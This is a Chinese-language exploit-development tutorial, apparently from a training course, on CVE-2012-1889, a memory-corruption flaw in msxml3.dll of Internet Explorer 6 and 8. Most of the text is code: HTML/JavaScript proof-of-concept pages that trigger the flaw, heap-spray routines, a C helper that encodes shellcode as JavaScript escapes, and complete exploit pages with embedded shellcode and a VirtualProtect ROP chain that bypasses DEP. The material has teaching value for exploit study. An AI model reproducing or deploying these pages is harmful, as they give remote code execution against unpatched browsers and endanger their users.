软件名称:Microsoft Internet Explorer 软件版本:6.0\8.0 漏洞模块:msxml3.dll 模块版本:- 编译日期:2008-04-14 | 操作系统:Windows XP/7 漏洞编号:CVE-2012-1889 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远程 |
1. 软件简介
2. 漏洞成因
3. 利用过程
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 document.getElementById("15PB").object.definition(0);
9 </script>
10 </body>
11 </html>
产生异常处
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 //获取名为15PB的对象,并将其保存到名为obj15PB实例中
9 var obj15PB = document.getElementById('15PB').object;
10
11 //初始化数据变量srcImgPath的内容(unescape()是解码函数)
12 var srcImgPath = unescape('\u0c0c\u0c0c');
13
14 //构建一个长度为0x1000字节的数据
15 while(srcImgPath.length < 0x1000)
16 srcImgPath += srcImgPath;
17
18 //构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”
19 srcImgPath = "\\\\15PB_Com"+srcImgPath;
20
21 nLenth = 0x1000-4-2-1; //4=堆长度信息 2=堆结尾信息 1=0x00
22
23 srcImgPath = srcImgPath.substr(0,nLenth);
24
25 //创建一个图片元素,并将图片源路径设为srcImgPath;
26 var emtPic = document.createElement("img");
27
28 emtPic.src = srcImgPath;
29
30 emtPic.nameProp; //返回当前图片文件名(载入路径)
31
32 obj15PB.definition(0); //定义对象(触发溢出)
33
34 </script>
35 </body>
36 </html>
再次使用windbg重新附加,可见尝试从0c0c0c0c的位置取数据,从而发生崩溃
总结触发原因
1 5dd8d751 8b45ec mov eax,dword ptr [ebp-14h]
2 ...
3 5dd8d75d 8b08 mov ecx,dword ptr [eax]
4 ...
5 5dd8d772 ff5118 call dword ptr [ecx+18h]
利用思路:使内存地址0C0C0C0C的位置成为我们自己的代码,可以使用堆喷射技术(Heap Spray)
Heap Spray 原理攻击者在使用 HeapSpray的时候 会在堆栈溢出后将EIP指向堆区 类似于0x0C0C0C0C的位置并且在这之前会利用javascript申请大量的堆内存,并用包含SlideCode 和 Shellcode 的代码块不断重复地占用所申请的内存空间Slide内存一般是由200个左右的slide块组成的,每个slide块都是由大量的滑板指令(NOP或OR AL,0C)加Shellcode组成这样只要0x0C0C0C0C命中任意一个滑板指令,都会将其引导到我们的ShellCode中
1 //转换成JS格式
2 //此函数最短可转码2字节文件
3 void c_2_javascript(unsigned char* bData, int nSize)
4 {
5 //1.创建文件
6 FILE* fpJS = nullptr;
7 errno_t errRet = fopen_s(&fpJS, "JavaScript.txt", "w");
8 //2.循环转码并写入目标文件(需考虑位数为奇数的情况)
9
10 for (int i = 0; i < nSize; i += 2)
11 {
12 //注意小尾存储
13 if (i + 2 == nSize)
14 {
15 fprintf(fpJS, "\\u%02X%02X", 0, bData[i]);
16 }
17 else
18 {
19 fprintf(fpJS, "\\u%02X%02X", bData[i + 1], bData[i]);
20 }
21 }
22 fclose(fpJS);
23 }
构造POC利用代码
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8
9 //1.准备好shellcode
10 var cShellCode = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B");
11
12 //2.制作一块滑板数据
13 //2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是unicode的字符个数)
14 var nSlideSize = 1024*1024 / 2; //一个滑板指令区的大小(1MB)
15 var nMlcHadSize = 32 /2; //堆头部大小
16 var nStrLenSize = 4/2; //堆长度信息大小
17 var nTerminatorSize = 2/2; //堆结尾符号大小
18 var nScSize = cShellCode.length; //ShellCode大小
19 var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize;
20
21 //2.2 填充滑板指令,制作好一块填充数据
22 var cFillData = unescape("\u0C0C\u0C0C"); //滑板指令 0C0C OR AL,0C
23 var cSlideData = new Array(); //申请数组对象用于保存滑板数据
24
25 while(cFillData.length <= nSlideSize)
26 cFillData+=cFillData;
27
28 cFillData = cFillData.substring(0,nFillSize);
29
30 //3.填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C区域
31 //每块滑板数据均由滑板数据 + shellcode 组成,这样只要任意一块滑板数据
32 //正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到滑板数据区后面的shellcode处,进而执行shellcode
33 for(var i=0;i<200;i++)
34 {
35 cSlideData[i] = cFillData + cShellCode;
36 }
37
38 //4.触发CVE 2012-1889漏洞
39 //4.1 获取名为15PB的对象,并将其保存到名为obj15PB实例中
40 //获取名为15PB的对象,并将其保存到名为obj15PB实例中
41
42 var obj15PB = document.getElementById('15PB').object;
43
44 //初始化数据变量srcImgPath的内容(unescape()是解码函数)
45 var srcImgPath = unescape('\u0c0c\u0c0c');
46
47 //构建一个长度为0x1000字节的数据
48 while(srcImgPath.length < 0x1000)
49 srcImgPath += srcImgPath;
50
51 //构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”
52 srcImgPath = "\\\\15PB"+srcImgPath;
53 srcImgPath = srcImgPath.substr(0,0x1000-10);
54
55 //创建一个图片元素,并将图片源路径设为srcImgPath;
56 var emtPic = document.createElement("img");
57
58 emtPic.src = srcImgPath;
59
60 emtPic.nameProp; //返回当前图片文件名(载入路径)
61
62 obj15PB.definition(0); //定义对象(触发溢出)
63
64 </script>
65 </body>
66 </html>
测试成功
3.2 xp+IE8.0
使用上面xp+IE6.0环境下的写好的poc测试,发现0C0C0C0C地址处并没有数据
通过查阅其他资料,得知因为IE8.0加入了DEP保护,对Heap Spray做了些许限制,采用直接字符串赋值的方式会被禁止,因此需要将堆喷射时的代码修改为:
1 //原代码
2 for(var i=0;i<200;i++)
3 {
4 cSlideData[i] = cFillData + cShellCode;
5 }
6
7 //修改后
8 var cBlock = cFillData + cShellCode;
9 for(var i=0;i<200;i++)
10 {
11 cSlideData[i] = cBlock.substr(0,cBlock.length);
12 }
再次测试,仍然可以被填充,并触发DEP保护,说明漏洞还在,下面要做的就是绕过DEP保护
数据执行保护DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志,令表示代码的区块拥有执行权限,而保存数据的区块仅有读写权限,进而防止数据区域内的 shellcode 执行。DEP 的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫 SafeSEH。另一种为硬件实现,由英特尔这种CPU 硬件生产厂商固化到硬件中的, 也称作 NX保护机制。 绕过DEP需要用到Ret2Libc技术, 即连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,其中我们可以调用 ZwSetInfomationProcess,VirtualProtect,VitualAlloc 一类的函数来实现关闭 DEP 的目的。本次使用 VirtualProtect 修改内存区域为可写实现关闭 DEP。在 IE 使用的模块中找到这些ret 指令为结尾的指令序列,我们称之为 gadgets。在构造Ret2Libc指令序列时,我们要仔细区分系统栈和堆空间以及自己构造出的栈。经过分析溢出地址的指令,去掉不相关的指令后如下所示。
自己构造的堆空间
为了绕过DEP,我们需要前面的ret2libc技术,另外,必须保证跳转到堆上的时候正好位于Ret2libc链的第一条指令,因此需要使用精准堆喷射技术,才可以保证0x0C0C0C0C处即为Ret2libc链的第一个字节,使用windbg调试打开POC页面的IE额进程,当完成对的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性以及0x0C0C0C0C距离堆空间首地址的偏移,可以使用命令!heap -p -a 0C0C0C0C 查看
最后要构造的结构如下
使用命令 !py mona find -s "\x94\xc3" -m msvcrt.dll查找xchg eax,esp;ret 指令序列
使用命令 u kernel32!VirtualProtect 找到VirtualProtect的地址
使用PE工具查看msvcrt.dll .data段的RVA
随便使用一个地址77c2d123作为第四个参数就可以
1 <html>
2 <head>
3 <title>CVE 2012-1889 POC BY 15PB</title>
4 </head>
5 <body>
6 <object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 // 1.生成Padding
9 var cPadding = unescape("\u0C0C\u0C0C");
10 while(cPadding.length < 0x1000)
11 cPadding += cPadding;
12 cPadding = cPadding.substring(0, 0x5F6);
13
14 // 2.制作Ret2Libc
15 var cRet2Libc = unescape("\u1110\u77BE" + // RET
16 "\uBB36\u77BE" + // POP EBP; RET
17 "\u5ED5\u77BE" + // XCHG EAX,ESP
18 "\u1110\u77BE" + // RET
19 "\u1110\u77BE" + // RET
20 "\u1110\u77BE" + // RET
21 "\u1110\u77BE" + // RET
23 "\u1AD4\u7C80" + // VirtualProtect
24 "\u0c40\u0c0c" + // Shellcode address
25 "\u0c00\u0c0c" + // lpAddr
26 "\u1000\u0000" + // dwSize
27 "\u0040\u0000" + // flNewProtect
28 "\uD123\u77C2"); // lpfOldProtect
29
30 // 3.准备好Payload
31 var cPayload = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B");
32 // 4.准备好FillData
33 // 4.1 计算填充滑板指令的大小
34 var nSlideSize = 0x1000; // 一个滑板指令区的大小(1MB)
35 var nPadSize = cPadding.length;
36 var nR2LSize = cRet2Libc.length;
37 var nPaySize = cPayload.length;
38 var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize;
39
40 // 4.2 制作好一块填充数据
41 var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
42 while(cFillData.length <= nSlideSize)
43 cFillData += cFillData;
44 cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
45
46 // 5. 构建滑板指令数据块
47 var nBlockSize = 0x40000; // 256KB
48 var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
49 while(cBlock.length < nBlockSize)
50 cBlock += cBlock;
51 cBlock = cBlock.substring(2, nBlockSize-0x21);
52
53 // 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
54 // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
55 // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
56 // 后面的Shellcode处,进而执行Shellcode
57 var cSlideData = new Array();
58 for(var i=0; i<800; ++i)
59 cSlideData[i] = cBlock.substr(0, cBlock.length);
60
61 // 7.触发CVE 2012-1889漏洞
62 // 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
63 var obj15PB = document.getElementById('15PB').object;
64
65 // 7.2构建一个长度为0x1000 - 10 = 8182,起始内容为“\\15PB”字节的数据
66 var srclmgPath = unescape("\u0C0C\u0C08"); // 注意这里填0c08
67 while(srclmgPath.length < 0x1000)
68 srclmgPath += srclmgPath;
69 srclmgPath = "\\\\15PB" + srclmgPath;
70 srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
71
72 // 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
73 var emtPic = document.createElement("img");
74 emtPic.src = srclmgPath;
75 emtPic.nameProp;
76
77 // 4.4定义对象obj15PB(触发溢出)
78 obj15PB.definition(0);
79 </script>
80 </body>
81 </html>
1 <html>
2 <head>
3 <title>CVE 2012-1889 POC BY 15PB</title>
4 </head>
5 <body>
6 <object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 // 1.生成Padding
9 var cPadding = unescape("\u0C0C\u0C0C");
10 while(cPadding.length < 0x1000)
11 cPadding += cPadding;
12 cPadding = cPadding.substring(0, 0x5F6);
13 // 2. 制作Ret2Libc
14 // 2.制作Ret2Libc
15 var cRet2Libc = unescape("\u1064\u68e1" + // RET
16 "\u11C5\u68e1" + // POP EBP; RET
17 "\u7c65\u68e1" + // XCHG EAX,ESP
18 "\u1064\u68e1" + // RET
19 "\u1064\u68e1" + // RET
20 "\u1064\u68e1" + // RET
21 "\u1064\u68e1" + // RET
23 "\u50ab\u770c" + // VirtualProtect
24 "\u0c40\u0c0c" + // Shellcode address
25 "\u0c00\u0c0c" + // lpAddr
26 "\u1000\u0000" + // dwSize
27 "\u0040\u0000" + // flNewProtect
28 "\u1234\u68e9"); // lpfOldProtect
29
30 // 3.准备好Payload
31 var cPayload = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B");
32 // 4.准备好FillData
33 // 4.1 计算填充滑板指令的大小
34 var nSlideSize = 0x1000; // 一个滑板指令区的大小(4KB)
35 var nPadSize = cPadding.length;
36 var nR2LSize = cRet2Libc.length;
37 var nPaySize = cPayload.length;
38 var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize;
39
40 // 4.2 制作好一块填充数据
41 var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
42 while(cFillData.length <= nSlideSize)
43 cFillData += cFillData;
44 cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
45
46 // 5. 构建滑板指令数据块
47 var nBlockSize = 0x40000; // 256KB
48 var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
49 while(cBlock.length < nBlockSize)
50 cBlock += cBlock;
51 cBlock = cBlock.substring(2, nBlockSize-0x21);
52
53 // 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
54 // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
55 // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
56 // 后面的Shellcode处,进而执行Shellcode
57 var cSlideData = new Array();
58 for(var i=0; i<800; ++i)
59 cSlideData[i] = cBlock.substr(0, cBlock.length);
60
61 // 7.触发CVE 2012-1889漏洞
62 // 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
63 var obj15PB = document.getElementById('15PB').object;
64
65 // 7.2构建一个长度为0x1000 - 10 = 8182,起始内容为“\\15PB”字节的数据
66 var srclmgPath = unescape("\u0C0C\u0C08"); // 注意这里填0c08
67 while(srclmgPath.length < 0x1000)
68 srclmgPath += srclmgPath;
69 srclmgPath = "\\\\15PB" + srclmgPath;
70 srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
71
72 // 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
73 var emtPic = document.createElement("img");
74 emtPic.src = srclmgPath;
75 emtPic.nameProp;
76
77 // 4.4定义对象obj15PB(触发溢出)
78 obj15PB.definition(0);
79 </script>
80 </body>
81 </html>